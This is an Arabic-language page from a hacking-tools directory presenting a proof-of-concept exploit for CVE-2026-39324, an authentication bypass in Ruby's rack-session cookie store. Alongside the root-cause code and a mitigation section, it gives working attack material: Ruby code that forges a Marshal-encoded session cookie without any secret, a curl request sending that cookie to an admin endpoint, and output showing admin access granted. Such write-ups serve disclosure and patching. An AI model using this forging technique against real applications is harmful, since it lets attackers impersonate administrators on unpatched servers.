Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-39324 — إثبات مفهوم لاستغلال تجاوز المصادقة في Rack::Cookie (CVE-2026-39324)، يوضح تزوير الجلسة عبر المُرمِّز الاحتياطي للحصول على وصول إداري. | Kitploit
أدوات/GitHubGitHub/sm1ee/cve-2026-39324
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubsm1ee/cve-2026-39324

CVE-2026-39324

إثبات مفهوم لاستغلال تجاوز المصادقة في Rack::Cookie (CVE-2026-39324)، يوضح تزوير الجلسة عبر المُرمِّز الاحتياطي للحصول على وصول إداري.

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-39324 استغلال PoC

فشل فك تشفير Rack::Session::Cookie يتراجع إلى قبول ملفات تعريف الارتباط غير المشفرة

الاستشارةGHSA-33qg-7wpp-89cq
الحزمةrack-session (RubyGems)
المتأثرة<= 2.1.1
المُصححة2.1.2

الملخص

Rack::Session::Cookie مع secrets: يجب أن يقبل ملفات تعريف الارتباط المشفرة فقط. ولكن عندما يفشل فك التشفير، فإنه لا يرفض ملف تعريف الارتباط — بل يتراجع إلى برنامج الترميز الافتراضي Base64::Marshal.

يمكن للمهاجم إرسال ملف تعريف ارتباط عادي Base64(Marshal.dump(...)) ويقبله الخادم كبيانات جلسة صالحة، دون معرفة أي سر.

الشروط

  • rack-session <= 2.1.1
  • Rack::Session::Cookie مع خيار secrets:
  • يستخدم التطبيق قيم الجلسة (user_id, role, إلخ) للتفويض
  • يمكن للمهاجم إرسال طلبات HTTP إلى الهدف

غير متأثر:

  • secret: (مفرد) — يستخدم توقيع HMAC، مسار كود مختلف. فقط secrets: (جمع، وضع ملفات تعريف الارتباط المشفرة) هو المعرض للخطر.
  • Rails — يستخدم ActionDispatch::Session::CookieStore، تنفيذ منفصل.

السبب الجذري

root@kitploit:~
# lib/rack/session/cookie.rb

# يتم دائمًا إنشاء برنامج الترميز الاحتياطي، بغض النظر عن إعداد secrets:
@coder = options[:coder] ||= Base64::Marshal.new

# يحاول فك التشفير — كلها تفشل لملف تعريف ارتباط غير مشفر
encryptors.each do |encryptor|
  session_data = encryptor.decrypt(cookie_data) rescue next
  break
end

# خطأ: لا يرفض، يمر إلى برنامج الترميز غير المشفر
if !session_data && coder
  session_data = coder.decode(cookie_data)  # → Marshal.load(Base64.decode64(...))
end

يجب أن يكون فشل فك التشفير على مسار secrets: نهائيًا. بدلاً من ذلك، يمرر ملف تعريف الارتباط إلى coder.decode()، لذلك يتم تحميل ملفات تعريف الارتباط العادية كبيانات جلسة.

إعادة الإنتاج

root@kitploit:~
poc/
├── Gemfile      rack-session 2.1.1
├── server.rb    تطبيق Rack مع إعداد secrets:
├── verify.rb    فحص أساسي (سلوك طبيعي)
└── attack.rb    تزوير الجلسة (الاستغلال)

التشغيل

root@kitploit:~
cd poc
bundle install

ruby server.rb &      # تشغيل الخادم المعرض للخطر
ruby verify.rb        # تأكيد السلوك الطبيعي
ruby attack.rb        # تزوير ملف تعريف الارتباط → وصول المسؤول

server.rb

تطبيق Rack يستخدم secrets: لملفات تعريف الارتباط المشفرة. مستخدمان: id=1 (عادي)، id=2 (مسؤول). يتم تخزين user_id فقط في الجلسة؛ فحص المسؤول هو بحث من جانب الخادم.

verify.rb

يؤكد أن الخادم يعمل بشكل صحيح:

الطلبالمتوقع
GET /admin (بدون ملف تعريف ارتباط)403
POST /login?id=1200، ملف تعريف ارتباط مشفر
GET /admin (ملف تعريف ارتباط المستخدم id=1)403

attack.rb

يزور ملف تعريف ارتباط جلسة دون أي سر.

1) تزوير ملف تعريف الارتباط:

root@kitploit:~
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie  = Base64.strict_encode64(Marshal.dump(payload))

2) التدفق من جانب الخادم عند استلام ملف تعريف الارتباط المزور:

root@kitploit:~
encryptor #1 decrypt → HMAC غير صالح
encryptor #2 decrypt → HMAC غير صالح
fallback → coder.decode() → Marshal.load → قبول جلسة المهاجم
→ session["user_id"] = 2 → حل مستخدم المسؤول → 200 OK

المخرجات

root@kitploit:~
$ ruby attack.rb
--- CVE-2026-39324: تزوير الجلسة ---
الهدف:  http://127.0.0.1:9416
الحمولة: {"session_id" => "attacker-forged", "user_id" => 2}
ملف تعريف الارتباط:  rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH

خطأ مشفر ملف تعريف ارتباط الجلسة: HMAC غير صالح   ← فشل المشفر #1
خطأ مشفر ملف تعريف ارتباط الجلسة: HMAC غير صالح   ← فشل المشفر #2، لكن لم يتم رفض ملف تعريف الارتباط
الحالة: 200
الجسم:   {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}

[!] معرض للخطر — تم قبول user_id=2 المزور، تم منح وصول المسؤول.

كلا فحصي HMAC يفشلان، لكن ملف تعريف الارتباط لا يُرفض — برنامج الترميز الاحتياطي يقبله ويحصل المهاجم على صلاحيات المسؤول.

curl

root@kitploit:~
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH

curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'

التخفيف

  1. قم بتحديث rack-session إلى >= 2.1.2
  2. قم بتدوير أسرار الجلسة بعد التحديث — قد تكون الجلسات المزورة قد قُبلت وأُعيد إصدارها قبل التصحيح
تنزيل الأداة